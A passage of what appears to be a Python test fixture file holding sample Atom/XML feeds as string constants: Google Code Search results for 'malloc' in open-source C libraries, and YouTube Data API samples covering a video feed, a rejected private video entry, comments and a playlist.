<entry><id>http://www.google.com/codesearch?hl=en&q=+malloc+show:o_TFIeBY6dY:ktI_dt8wPao:AI03BD1Dz0Y&sa=N&ct=rx&cd=7&cs_p=http://ftp.gnu.org/gnu/tar/tar-1.16.1.tar.gz&cs_f=tar-1.16.1/lib/malloc.c&cs_p=http://ftp.gnu.org/gnu/tar/tar-1.16.1.tar.gz&cs_f=tar-1.16.1/lib/malloc.c#first</id><updated>2007-12-19T16:08:04Z</updated><author><name>Code owned by external author.</name></author><title type="text">tar-1.16.1/lib/malloc.c</title><link rel="alternate" type="text/html" href="http://www.google.com/codesearch?hl=en&q=+malloc+show:o_TFIeBY6dY:ktI_dt8wPao:AI03BD1Dz0Y&sa=N&ct=rx&cd=7&cs_p=http://ftp.gnu.org/gnu/tar/tar-1.16.1.tar.gz&cs_f=tar-1.16.1/lib/malloc.c&cs_p=http://ftp.gnu.org/gnu/tar/tar-1.16.1.tar.gz&cs_f=tar-1.16.1/lib/malloc.c#first"/><gcs:package name="http://ftp.gnu.org/gnu/tar/tar-1.16.1.tar.gz" uri="http://ftp.gnu.org/gnu/tar/tar-1.16.1.tar.gz"></gcs:package><gcs:file name="tar-1.16.1/lib/malloc.c"></gcs:file><content type="text/html"><pre> 21: #include &lt;config.h&gt;
#undef <b>malloc</b>
</pre></content><gcs:match lineNumber="1" type="text/html"><pre>/* <b>malloc</b>() function that is glibc compatible.
</pre></gcs:match><gcs:match lineNumber="22" type="text/html"><pre>#undef <b>malloc</b>
</pre></gcs:match><gcs:match lineNumber="30" type="text/html"><pre>rpl_<b>malloc</b> (size_t n)
</pre></gcs:match><gcs:match lineNumber="34" type="text/html"><pre> return <b>malloc</b> (n);
</pre></gcs:match><rights>GPL</rights></entry>
<entry><id>http://www.google.com/codesearch?hl=en&q=+malloc+show:_ibw-VLkMoI:jBOtIJSmFd4:-0NUEVeCwfY&sa=N&ct=rx&cd=8&cs_p=http://freshmeat.net/redir/uclibc/20616/url_bz2/uClibc-0.9.28.1.tar.bz2&cs_f=uClibc-0.9.29/include/malloc.h&cs_p=http://freshmeat.net/redir/uclibc/20616/url_bz2/uClibc-0.9.28.1.tar.bz2&cs_f=uClibc-0.9.29/include/malloc.h#first</id><updated>2007-12-19T16:08:04Z</updated><author><name>Code owned by external author.</name></author><title type="text">uClibc-0.9.29/include/malloc.h</title><link rel="alternate" type="text/html" href="http://www.google.com/codesearch?hl=en&q=+malloc+show:_ibw-VLkMoI:jBOtIJSmFd4:-0NUEVeCwfY&sa=N&ct=rx&cd=8&cs_p=http://freshmeat.net/redir/uclibc/20616/url_bz2/uClibc-0.9.28.1.tar.bz2&cs_f=uClibc-0.9.29/include/malloc.h&cs_p=http://freshmeat.net/redir/uclibc/20616/url_bz2/uClibc-0.9.28.1.tar.bz2&cs_f=uClibc-0.9.29/include/malloc.h#first"/><gcs:package name="http://freshmeat.net/redir/uclibc/20616/url_bz2/uClibc-0.9.28.1.tar.bz2" uri="http://freshmeat.net/redir/uclibc/20616/url_bz2/uClibc-0.9.28.1.tar.bz2"></gcs:package><gcs:file name="uClibc-0.9.29/include/malloc.h"></gcs:file><content type="text/html"><pre> 1: /* Prototypes and definition for <b>malloc</b> implementation.
Copyright (C) 1996, 1997, 1999, 2000 Free Software Foundation, Inc.
</pre></content><gcs:match lineNumber="1" type="text/html"><pre>/* Prototypes and definition for <b>malloc</b> implementation.
</pre></gcs:match><gcs:match lineNumber="26" type="text/html"><pre> `pt<b>malloc</b>&#39;, a <b>malloc</b> implementation for multiple threads without
</pre></gcs:match><gcs:match lineNumber="28" type="text/html"><pre> See the files `pt<b>malloc</b>.c&#39; or `COPYRIGHT&#39; for copying conditions.
</pre></gcs:match><gcs:match lineNumber="32" type="text/html"><pre> This work is mainly derived from <b>malloc</b>-2.6.4 by Doug Lea
</pre></gcs:match><gcs:match lineNumber="35" type="text/html"><pre> ftp://g.oswego.edu/pub/misc/<b>malloc</b>.c
</pre></gcs:match><gcs:match lineNumber="40" type="text/html"><pre> `pt<b>malloc</b>.c&#39;.
</pre></gcs:match><gcs:match lineNumber="45" type="text/html"><pre># define __<b>malloc</b>_ptr_t void *
</pre></gcs:match><gcs:match lineNumber="51" type="text/html"><pre># define __<b>malloc</b>_ptr_t char *
</pre></gcs:match><gcs:match lineNumber="56" type="text/html"><pre># define __<b>malloc</b>_size_t size_t
</pre></gcs:match><rights>LGPL</rights></entry>
<entry><id>http://www.google.com/codesearch?hl=en&q=+malloc+show:F6qHcZ9vefo:bTX7o9gKfks:hECF4r_eKC0&sa=N&ct=rx&cd=9&cs_p=http://ftp.gnu.org/gnu/glibc/glibc-2.0.1.tar.gz&cs_f=glibc-2.0.1/hurd/hurdmalloc.h&cs_p=http://ftp.gnu.org/gnu/glibc/glibc-2.0.1.tar.gz&cs_f=glibc-2.0.1/hurd/hurdmalloc.h#first</id><updated>2007-12-19T16:08:04Z</updated><author><name>Code owned by external author.</name></author><title type="text">glibc-2.0.1/hurd/hurdmalloc.h</title><link rel="alternate" type="text/html" href="http://www.google.com/codesearch?hl=en&q=+malloc+show:F6qHcZ9vefo:bTX7o9gKfks:hECF4r_eKC0&sa=N&ct=rx&cd=9&cs_p=http://ftp.gnu.org/gnu/glibc/glibc-2.0.1.tar.gz&cs_f=glibc-2.0.1/hurd/hurdmalloc.h&cs_p=http://ftp.gnu.org/gnu/glibc/glibc-2.0.1.tar.gz&cs_f=glibc-2.0.1/hurd/hurdmalloc.h#first"/><gcs:package name="http://ftp.gnu.org/gnu/glibc/glibc-2.0.1.tar.gz" uri="http://ftp.gnu.org/gnu/glibc/glibc-2.0.1.tar.gz"></gcs:package><gcs:file name="glibc-2.0.1/hurd/hurdmalloc.h"></gcs:file><content type="text/html"><pre> 15: #define <b>malloc</b> _hurd_<b>malloc</b>
#define realloc _hurd_realloc
</pre></content><gcs:match lineNumber="3" type="text/html"><pre> All hurd-internal code which uses <b>malloc</b> et al includes this file so it
</pre></gcs:match><gcs:match lineNumber="4" type="text/html"><pre> will use the internal <b>malloc</b> routines _hurd_{<b>malloc</b>,realloc,free}
</pre></gcs:match><gcs:match lineNumber="7" type="text/html"><pre> of <b>malloc</b> et al is the unixoid one using sbrk.
</pre></gcs:match><gcs:match lineNumber="11" type="text/html"><pre>extern void *_hurd_<b>malloc</b> (size_t);
</pre></gcs:match><gcs:match lineNumber="15" type="text/html"><pre>#define <b>malloc</b> _hurd_<b>malloc</b>
</pre></gcs:match><rights>GPL</rights></entry>
<entry><id>http://www.google.com/codesearch?hl=en&q=+malloc+show:CHUvHYzyLc8:pdcAfzDA6lY:wjofHuNLTHg&sa=N&ct=rx&cd=10&cs_p=ftp://apache.mirrors.pair.com/httpd/httpd-2.2.4.tar.bz2&cs_f=httpd-2.2.4/srclib/apr/include/arch/netware/apr_private.h&cs_p=ftp://apache.mirrors.pair.com/httpd/httpd-2.2.4.tar.bz2&cs_f=httpd-2.2.4/srclib/apr/include/arch/netware/apr_private.h#first</id><updated>2007-12-19T16:08:04Z</updated><author><name>Code owned by external author.</name></author><title type="text">httpd-2.2.4/srclib/apr/include/arch/netware/apr_private.h</title><link rel="alternate" type="text/html" href="http://www.google.com/codesearch?hl=en&q=+malloc+show:CHUvHYzyLc8:pdcAfzDA6lY:wjofHuNLTHg&sa=N&ct=rx&cd=10&cs_p=ftp://apache.mirrors.pair.com/httpd/httpd-2.2.4.tar.bz2&cs_f=httpd-2.2.4/srclib/apr/include/arch/netware/apr_private.h&cs_p=ftp://apache.mirrors.pair.com/httpd/httpd-2.2.4.tar.bz2&cs_f=httpd-2.2.4/srclib/apr/include/arch/netware/apr_private.h#first"/><gcs:package name="ftp://apache.mirrors.pair.com/httpd/httpd-2.2.4.tar.bz2" uri="ftp://apache.mirrors.pair.com/httpd/httpd-2.2.4.tar.bz2"></gcs:package><gcs:file name="httpd-2.2.4/srclib/apr/include/arch/netware/apr_private.h"></gcs:file><content type="text/html"><pre> 173: #undef <b>malloc</b>
#define <b>malloc</b>(x) library_<b>malloc</b>(gLibHandle,x)
</pre></content><gcs:match lineNumber="170" type="text/html"><pre>/* Redefine <b>malloc</b> to use the library <b>malloc</b> call so
</pre></gcs:match><gcs:match lineNumber="173" type="text/html"><pre>#undef <b>malloc</b>
</pre></gcs:match><gcs:match lineNumber="174" type="text/html"><pre>#define <b>malloc</b>(x) library_<b>malloc</b>(gLibHandle,x)
</pre></gcs:match><rights>Apache</rights></entry>
</feed>"""
YOUTUBE_VIDEO_FEED = """<?xml version='1.0' encoding='UTF-8'?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:gml='http://www.opengis.net/gml' xmlns:georss='http://www.georss.org/georss' xmlns:media='http://search.yahoo.com/mrss/' xmlns:yt='http://gdata.youtube.com/schemas/2007' xmlns:gd='http://schemas.google.com/g/2005'><id>http://gdata.youtube.com/feeds/api/standardfeeds/top_rated</id><updated>2008-05-14T02:24:07.000-07:00</updated><category scheme='http://schemas.google.com/g/2005#kind' term='http://gdata.youtube.com/schemas/2007#video'/><title type='text'>Top Rated</title><logo>http://www.youtube.com/img/pic_youtubelogo_123x63.gif</logo><link rel='alternate' type='text/html' href='http://www.youtube.com/browse?s=tr'/><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://gdata.youtube.com/feeds/api/standardfeeds/top_rated'/><link rel='self' type='application/atom+xml' href='http://gdata.youtube.com/feeds/api/standardfeeds/top_rated?start-index=1&max-results=25'/><link rel='next' type='application/atom+xml' href='http://gdata.youtube.com/feeds/api/standardfeeds/top_rated?start-index=26&max-results=25'/><author><name>YouTube</name><uri>http://www.youtube.com/</uri></author><generator version='beta' uri='http://gdata.youtube.com/'>YouTube data API</generator><openSearch:totalResults>100</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage>
<entry><id>http://gdata.youtube.com/feeds/api/videos/C71ypXYGho8</id><published>2008-03-20T10:17:27.000-07:00</published><updated>2008-05-14T04:26:37.000-07:00</updated><category scheme='http://gdata.youtube.com/schemas/2007/keywords.cat' term='karyn'/><category scheme='http://gdata.youtube.com/schemas/2007/keywords.cat' term='garcia'/><category scheme='http://gdata.youtube.com/schemas/2007/keywords.cat' term='me'/><category scheme='http://schemas.google.com/g/2005#kind' term='http://gdata.youtube.com/schemas/2007#video'/><category scheme='http://gdata.youtube.com/schemas/2007/keywords.cat' term='boyfriend'/><category scheme='http://gdata.youtube.com/schemas/2007/keywords.cat' term='por'/><category scheme='http://gdata.youtube.com/schemas/2007/keywords.cat' term='te'/><category scheme='http://gdata.youtube.com/schemas/2007/keywords.cat' term='odeio'/><category scheme='http://gdata.youtube.com/schemas/2007/keywords.cat' term='amar'/><category scheme='http://gdata.youtube.com/schemas/2007/categories.cat' term='Music' label='Music'/><title type='text'>Me odeio por te amar - KARYN GARCIA</title><content type='text'>http://www.karyngarcia.com.br</content><link rel='alternate' type='text/html' href='http://www.youtube.com/watch?v=C71ypXYGho8'/><link rel='http://gdata.youtube.com/schemas/2007#video.related' type='application/atom+xml' href='http://gdata.youtube.com/feeds/api/videos/C71ypXYGho8/related'/><link rel='self' type='application/atom+xml' href='http://gdata.youtube.com/feeds/api/standardfeeds/top_rated/C71ypXYGho8'/><author><name>TvKarynGarcia</name><uri>http://gdata.youtube.com/feeds/api/users/tvkaryngarcia</uri></author><media:group><media:title type='plain'>Me odeio por te amar - KARYN GARCIA</media:title><media:description type='plain'>http://www.karyngarcia.com.br</media:description><media:keywords>amar, boyfriend, garcia, karyn, me, odeio, por, te</media:keywords><yt:duration seconds='203'/><media:category label='Music' scheme='http://gdata.youtube.com/schemas/2007/categories.cat'>Music</media:category><media:category label='test111' scheme='http://gdata.youtube.com/schemas/2007/developertags.cat'>test111</media:category><media:category label='test222' scheme='http://gdata.youtube.com/schemas/2007/developertags.cat'>test222</media:category><media:content url='http://www.youtube.com/v/C71ypXYGho8' type='application/x-shockwave-flash' medium='video' isDefault='true' expression='full' duration='203' yt:format='5'/><media:content url='rtsp://rtsp2.youtube.com/ChoLENy73wIaEQmPhgZ2pXK9CxMYDSANFEgGDA==/0/0/0/video.3gp' type='video/3gpp' medium='video' expression='full' duration='203' yt:format='1'/><media:content url='rtsp://rtsp2.youtube.com/ChoLENy73wIaEQmPhgZ2pXK9CxMYESARFEgGDA==/0/0/0/video.3gp' type='video/3gpp' medium='video' expression='full' duration='203' yt:format='6'/><media:player url='http://www.youtube.com/watch?v=C71ypXYGho8'/><media:thumbnail url='http://img.youtube.com/vi/C71ypXYGho8/2.jpg' height='97' width='130' time='00:01:41.500'/><media:thumbnail url='http://img.youtube.com/vi/C71ypXYGho8/1.jpg' height='97' width='130' time='00:00:50.750'/><media:thumbnail url='http://img.youtube.com/vi/C71ypXYGho8/3.jpg' height='97' width='130' time='00:02:32.250'/><media:thumbnail url='http://img.youtube.com/vi/C71ypXYGho8/0.jpg' height='240' width='320' time='00:01:41.500'/></media:group><yt:statistics viewCount='138864' favoriteCount='2474'/><gd:rating min='1' max='5' numRaters='4626' average='4.95'/><gd:comments><gd:feedLink href='http://gdata.youtube.com/feeds/api/videos/C71ypXYGho8/comments' countHint='27'/></gd:comments></entry>
<entry><id>http://gdata.youtube.com/feeds/api/videos/gsVaTyb1tBw</id><published>2008-02-15T04:31:45.000-08:00</published><updated>2008-05-14T05:09:42.000-07:00</updated><category scheme='http://gdata.youtube.com/schemas/2007/keywords.cat' term='extreme'/><category scheme='http://gdata.youtube.com/schemas/2007/keywords.cat' term='cam'/><category scheme='http://gdata.youtube.com/schemas/2007/categories.cat' term='Sports' label='Sports'/><category scheme='http://gdata.youtube.com/schemas/2007/keywords.cat' term='alcala'/><category scheme='http://gdata.youtube.com/schemas/2007/keywords.cat' term='kani'/><category scheme='http://gdata.youtube.com/schemas/2007/keywords.cat' term='helmet'/><category scheme='http://gdata.youtube.com/schemas/2007/keywords.cat' term='campillo'/><category scheme='http://schemas.google.com/g/2005#kind' term='http://gdata.youtube.com/schemas/2007#video'/><category scheme='http://gdata.youtube.com/schemas/2007/keywords.cat' term='pato'/><category scheme='http://gdata.youtube.com/schemas/2007/keywords.cat' term='dirt'/><title type='text'>extreme helmet cam Kani, Keil and Pato</title><content type='text'>trimmed</content><link rel='alternate' type='text/html' href='http://www.youtube.com/watch?v=gsVaTyb1tBw'/><link rel='http://gdata.youtube.com/schemas/2007#video.responses' type='application/atom+xml' href='http://gdata.youtube.com/feeds/api/videos/gsVaTyb1tBw/responses'/><link rel='http://gdata.youtube.com/schemas/2007#video.related' type='application/atom+xml' href='http://gdata.youtube.com/feeds/api/videos/gsVaTyb1tBw/related'/><link rel='self' type='application/atom+xml' href='http://gdata.youtube.com/feeds/api/standardfeeds/recently_featured/gsVaTyb1tBw'/><author><name>peraltamagic</name><uri>http://gdata.youtube.com/feeds/api/users/peraltamagic</uri></author><media:group><media:title type='plain'>extreme helmet cam Kani, Keil and Pato</media:title><media:description type='plain'>trimmed</media:description><media:keywords>alcala, cam, campillo, dirt, extreme, helmet, kani, pato</media:keywords><yt:duration seconds='31'/><media:category label='Sports' scheme='http://gdata.youtube.com/schemas/2007/categories.cat'>Sports</media:category><media:content url='http://www.youtube.com/v/gsVaTyb1tBw' type='application/x-shockwave-flash' medium='video' isDefault='true' expression='full' duration='31' yt:format='5'/><media:content url='rtsp://rtsp2.youtube.com/ChoLENy73wIaEQkctPUmT1rFghMYDSANFEgGDA==/0/0/0/video.3gp' type='video/3gpp' medium='video' expression='full' duration='31' yt:format='1'/><media:content url='rtsp://rtsp2.youtube.com/ChoLENy73wIaEQkctPUmT1rFghMYESARFEgGDA==/0/0/0/video.3gp' type='video/3gpp' medium='video' expression='full' duration='31' yt:format='6'/><media:player url='http://www.youtube.com/watch?v=gsVaTyb1tBw'/><media:thumbnail url='http://img.youtube.com/vi/gsVaTyb1tBw/2.jpg' height='97' width='130' time='00:00:15.500'/><media:thumbnail url='http://img.youtube.com/vi/gsVaTyb1tBw/1.jpg' height='97' width='130' time='00:00:07.750'/><media:thumbnail url='http://img.youtube.com/vi/gsVaTyb1tBw/3.jpg' height='97' width='130' time='00:00:23.250'/><media:thumbnail url='http://img.youtube.com/vi/gsVaTyb1tBw/0.jpg' height='240' width='320' time='00:00:15.500'/></media:group><yt:statistics viewCount='489941' favoriteCount='561'/><gd:rating min='1' max='5' numRaters='1255' average='4.11'/><gd:comments><gd:feedLink href='http://gdata.youtube.com/feeds/api/videos/gsVaTyb1tBw/comments' countHint='1116'/></gd:comments></entry>
</feed>"""
YOUTUBE_ENTRY_PRIVATE = """<?xml version='1.0' encoding='utf-8'?>
<entry xmlns='http://www.w3.org/2005/Atom'
xmlns:media='http://search.yahoo.com/mrss/'
xmlns:gd='http://schemas.google.com/g/2005'
xmlns:yt='http://gdata.youtube.com/schemas/2007'
xmlns:gml='http://www.opengis.net/gml'
xmlns:georss='http://www.georss.org/georss'
xmlns:app='http://purl.org/atom/app#'>
<id>http://gdata.youtube.com/feeds/videos/UMFI1hdm96E</id>
<published>2007-01-07T01:50:15.000Z</published>
<updated>2007-01-07T01:50:15.000Z</updated>
<category scheme='http://schemas.google.com/g/2005#kind'
term='http://gdata.youtube.com/schemas/2007#video' />
<category scheme='http://gdata.youtube.com/schemas/2007/keywords.cat'
term='barkley' />
<category scheme='http://gdata.youtube.com/schemas/2007/keywords.cat'
term='singing' />
<category scheme='http://gdata.youtube.com/schemas/2007/keywords.cat'
term='acoustic' />
<category scheme='http://gdata.youtube.com/schemas/2007/keywords.cat'
term='cover' />
<category scheme='http://gdata.youtube.com/schemas/2007/categories.cat'
term='Music' label='Music' />
<category scheme='http://gdata.youtube.com/schemas/2007/keywords.cat'
term='gnarls' />
<category scheme='http://gdata.youtube.com/schemas/2007/keywords.cat'
term='music' />
<title type='text'>"Crazy (Gnarles Barkley)" - Acoustic Cover</title>
<content type='html'><div style="color: #000000;font-family:
Arial, Helvetica, sans-serif; font-size:12px; font-size: 12px;
width: 555px;"><table cellspacing="0" cellpadding="0"
border="0"><tbody><tr><td width="140"
valign="top" rowspan="2"><div style="border: 1px solid
#999999; margin: 0px 10px 5px 0px;"><a
href="http://www.youtube.com/watch?v=UMFI1hdm96E"><img
alt=""
src="http://img.youtube.com/vi/UMFI1hdm96E/2.jpg"></a></div></td>
<td width="256" valign="top"><div style="font-size:
12px; font-weight: bold;"><a style="font-size: 15px;
font-weight: bold; font-decoration: none;"
href="http://www.youtube.com/watch?v=UMFI1hdm96E">&quot;Crazy
(Gnarles Barkley)&quot; - Acoustic Cover</a>
<br></div> <div style="font-size: 12px; margin:
3px 0px;"><span>Gnarles Barkley acoustic cover
http://www.myspace.com/davidchoimusic</span></div></td>
<td style="font-size: 11px; line-height: 1.4em; padding-left:
20px; padding-top: 1px;" width="146"
valign="top"><div><span style="color: #666666;
font-size: 11px;">From:</span> <a
href="http://www.youtube.com/profile?user=davidchoimusic">davidchoimusic</a></div>
<div><span style="color: #666666; font-size:
11px;">Views:</span> 113321</div> <div
style="white-space: nowrap;text-align: left"><img
style="border: 0px none; margin: 0px; padding: 0px;
vertical-align: middle; font-size: 11px;" align="top" alt=""
src="http://gdata.youtube.com/static/images/icn_star_full_11x11.gif">
<img style="border: 0px none; margin: 0px; padding: 0px;
vertical-align: middle; font-size: 11px;" align="top" alt=""
src="http://gdata.youtube.com/static/images/icn_star_full_11x11.gif">
<img style="border: 0px none; margin: 0px; padding: 0px;
vertical-align: middle; font-size: 11px;" align="top" alt=""
src="http://gdata.youtube.com/static/images/icn_star_full_11x11.gif">
<img style="border: 0px none; margin: 0px; padding: 0px;
vertical-align: middle; font-size: 11px;" align="top" alt=""
src="http://gdata.youtube.com/static/images/icn_star_full_11x11.gif">
<img style="border: 0px none; margin: 0px; padding: 0px;
vertical-align: middle; font-size: 11px;" align="top" alt=""
src="http://gdata.youtube.com/static/images/icn_star_half_11x11.gif"></div>
<div style="font-size: 11px;">1005 <span style="color:
#666666; font-size:
11px;">ratings</span></div></td></tr>
<tr><td><span style="color: #666666; font-size:
11px;">Time:</span> <span style="color: #000000;
font-size: 11px; font-weight:
bold;">04:15</span></td> <td style="font-size:
11px; padding-left: 20px;"><span style="color: #666666;
font-size: 11px;">More in</span> <a
href="http://www.youtube.com/categories_portal?c=10">Music</a></td></tr></tbody></table></div></content>
<link rel='self' type='application/atom+xml'
href='http://gdata.youtube.com/feeds/videos/UMFI1hdm96E' />
<link rel='alternate' type='text/html'
href='http://www.youtube.com/watch?v=UMFI1hdm96E' />
<link rel='http://gdata.youtube.com/schemas/2007#video.responses'
type='application/atom+xml'
href='http://gdata.youtube.com/feeds/videos/UMFI1hdm96E/responses' />
<link rel='http://gdata.youtube.com/schemas/2007#video.related'
type='application/atom+xml'
href='http://gdata.youtube.com/feeds/videos/UMFI1hdm96E/related' />
<author>
<name>davidchoimusic</name>
<uri>http://gdata.youtube.com/feeds/users/davidchoimusic</uri>
</author>
<media:group>
<media:title type='plain'>"Crazy (Gnarles Barkley)" - Acoustic Cover</media:title>
<media:description type='plain'>Gnarles Barkley acoustic cover http://www.myspace.com/davidchoimusic</media:description>
<media:keywords>music, singing, gnarls, barkley, acoustic, cover</media:keywords>
<yt:duration seconds='255' />
<media:category label='Music'
scheme='http://gdata.youtube.com/schemas/2007/categories.cat'>
Music</media:category>
<media:category
scheme='http://gdata.youtube.com/schemas/2007/developertags.cat'>
DeveloperTag1</media:category>
<media:content url='http://www.youtube.com/v/UMFI1hdm96E'
type='application/x-shockwave-flash' medium='video'
isDefault='true' expression='full' duration='255'
yt:format='5' />
<media:player url='http://www.youtube.com/watch?v=UMFI1hdm96E' />
<media:thumbnail url='http://img.youtube.com/vi/UMFI1hdm96E/2.jpg'
height='97' width='130' time='00:02:07.500' />
<media:thumbnail url='http://img.youtube.com/vi/UMFI1hdm96E/1.jpg'
height='97' width='130' time='00:01:03.750' />
<media:thumbnail url='http://img.youtube.com/vi/UMFI1hdm96E/3.jpg'
height='97' width='130' time='00:03:11.250' />
<media:thumbnail url='http://img.youtube.com/vi/UMFI1hdm96E/0.jpg'
height='240' width='320' time='00:02:07.500' />
<yt:private />
</media:group>
<yt:statistics viewCount='113321' />
<gd:rating min='1' max='5' numRaters='1005' average='4.77' />
<georss:where>
<gml:Point>
<gml:pos>37.398529052734375 -122.0635986328125</gml:pos>
</gml:Point>
</georss:where>
<gd:comments>
<gd:feedLink href='http://gdata.youtube.com/feeds/videos/UMFI1hdm96E/comments' />
</gd:comments>
<yt:noembed />
<app:control>
<app:draft>yes</app:draft>
<yt:state
name="rejected"
reasonCode="inappropriate"
helpUrl="http://www.youtube.com/t/community_guidelines">
The content of this video may violate the terms of use.</yt:state>
</app:control>
</entry>"""
YOUTUBE_COMMENT_FEED = """<?xml version='1.0' encoding='UTF-8'?>
<feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/'><id>http://gdata.youtube.com/feeds/videos/2Idhz9ef5oU/comments</id><updated>2008-05-19T21:45:45.261Z</updated><category scheme='http://schemas.google.com/g/2005#kind' term='http://gdata.youtube.com/schemas/2007#comment'/><title type='text'>Comments</title><logo>http://www.youtube.com/img/pic_youtubelogo_123x63.gif</logo><link rel='related' type='application/atom+xml' href='http://gdata.youtube.com/feeds/videos/2Idhz9ef5oU'/><link rel='alternate' type='text/html' href='http://www.youtube.com/watch?v=2Idhz9ef5oU'/><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://gdata.youtube.com/feeds/videos/2Idhz9ef5oU/comments'/><link rel='self' type='application/atom+xml' href='http://gdata.youtube.com/feeds/videos/2Idhz9ef5oU/comments?start-index=1&max-results=25'/><author><name>YouTube</name><uri>http://www.youtube.com/</uri></author><generator version='beta' uri='http://gdata.youtube.com/'>YouTube data API</generator><openSearch:totalResults>0</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage>
<entry>
<id>http://gdata.youtube.com/feeds/videos/2Idhz9ef5oU/comments/91F809A3DE2EB81B</id>
<published>2008-02-22T15:27:15.000-08:00</published><updated>2008-02-22T15:27:15.000-08:00</updated>
<category scheme='http://schemas.google.com/g/2005#kind' term='http://gdata.youtube.com/schemas/2007#comment'/>
<title type='text'>test66</title>
<content type='text'>test66</content>
<link rel='related' type='application/atom+xml' href='http://gdata.youtube.com/feeds/videos/2Idhz9ef5oU'/>
<link rel='alternate' type='text/html' href='http://www.youtube.com/watch?v=2Idhz9ef5oU'/>
<link rel='self' type='application/atom+xml' href='http://gdata.youtube.com/feeds/videos/2Idhz9ef5oU/comments/91F809A3DE2EB81B'/>
<author><name>apitestjhartmann</name><uri>http://gdata.youtube.com/feeds/users/apitestjhartmann</uri></author>
</entry>
<entry>
<id>http://gdata.youtube.com/feeds/videos/2Idhz9ef5oU/comments/A261AEEFD23674AA</id>
<published>2008-02-22T15:27:01.000-08:00</published><updated>2008-02-22T15:27:01.000-08:00</updated>
<category scheme='http://schemas.google.com/g/2005#kind' term='http://gdata.youtube.com/schemas/2007#comment'/>
<title type='text'>test333</title>
<content type='text'>test333</content>
<link rel='related' type='application/atom+xml' href='http://gdata.youtube.com/feeds/videos/2Idhz9ef5oU'/>
<link rel='alternate' type='text/html' href='http://www.youtube.com/watch?v=2Idhz9ef5oU'/>
<link rel='self' type='application/atom+xml' href='http://gdata.youtube.com/feeds/videos/2Idhz9ef5oU/comments/A261AEEFD23674AA'/>
<author><name>apitestjhartmann</name><uri>http://gdata.youtube.com/feeds/users/apitestjhartmann</uri></author>
</entry>
<entry>
<id>http://gdata.youtube.com/feeds/videos/2Idhz9ef5oU/comments/0DCF1E3531B3FF85</id>
<published>2008-02-22T15:11:06.000-08:00</published><updated>2008-02-22T15:11:06.000-08:00</updated>
<category scheme='http://schemas.google.com/g/2005#kind' term='http://gdata.youtube.com/schemas/2007#comment'/>
<title type='text'>test2</title>
<content type='text'>test2</content>
<link rel='related' type='application/atom+xml' href='http://gdata.youtube.com/feeds/videos/2Idhz9ef5oU'/>
<link rel='alternate' type='text/html' href='http://www.youtube.com/watch?v=2Idhz9ef5oU'/>
<link rel='self' type='application/atom+xml' href='http://gdata.youtube.com/feeds/videos/2Idhz9ef5oU/comments/0DCF1E3531B3FF85'/>
<author><name>apitestjhartmann</name><uri>http://gdata.youtube.com/feeds/users/apitestjhartmann</uri></author>
</entry>
</feed>"""
YOUTUBE_PLAYLIST_FEED = """<?xml version='1.0' encoding='UTF-8'?>
<feed xmlns='http://www.w3.org/2005/Atom'
xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/'
xmlns:media='http://search.yahoo.com/mrss/'
xmlns:yt='http://gdata.youtube.com/schemas/2007'
xmlns:gd='http://schemas.google.com/g/2005'>
<id>http://gdata.youtube.com/feeds/users/andyland74/playlists?start-index=1&max-results=25</id>
<updated>2008-02-26T00:26:15.635Z</updated>
<category scheme='http://schemas.google.com/g/2005#kind' term='http://gdata.youtube.com/schemas/2007#playlistLink'/>
<title type='text'>andyland74's Playlists</title>
<logo>http://www.youtube.com/img/pic_youtubelogo_123x63.gif</logo>
<link rel='related' type='application/atom+xml' href='http://gdata.youtube.com/feeds/users/andyland74'/>
<link rel='alternate' type='text/html' href='http://www.youtube.com/profile_play_list?user=andyland74'/>
<link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://gdata.youtube.com/feeds/users/andyland74/playlists'/>
<link rel='self' type='application/atom+xml' href='http://gdata.youtube.com/feeds/users/andyland74/playlists?start-index=1&max-results=25'/>
<author>
<name>andyland74</name>
<uri>http://gdata.youtube.com/feeds/users/andyland74</uri>
</author>
<generator version='beta' uri='http://gdata.youtube.com/'>YouTube data API</generator>
<openSearch:totalResults>1</openSearch:totalResults>
<openSearch:startIndex>1</openSearch:startIndex>
<openSearch:itemsPerPage>25</openSearch:itemsPerPage>
<entry>
<yt:description>My new playlist Description</yt:description>
<gd:feedLink rel='http://gdata.youtube.com/schemas/2007#playlist' href='http://gdata.youtube.com/feeds/playlists/8BCDD04DE8F771B2'/>
<id>http://gdata.youtube.com/feeds/users/andyland74/playlists/8BCDD04DE8F771B2</id>
<published>2007-11-04T17:30:27.000-08:00</published>
<updated>2008-02-22T09:55:14.000-08:00</updated>
<category scheme='http://schemas.google.com/g/2005#kind' term='http://gdata.youtube.com/schemas/2007#playlistLink'/>
<title type='text'>My New Playlist Title</title>
<content type='text'>My new playlist Description</content>
<link rel='related' type='application/atom+xml' href='http://gdata.youtube.com/feeds/users/andyland74'/>
<link rel='alternate' type='text/html' href='http://www.youtube.com/view_play_list?p=8BCDD04DE8F771B2'/>
<link rel='self' type='application/atom+xml' href='http://gdata.youtube.com/feeds/users/andyland74/playlists/8BCDD04DE8F771B2'/>
<author>
<name>andyland74</name>
<uri>http://gdata.youtube.com/feeds/users/andyland74</uri>
</author>
</entry>
</feed>"""
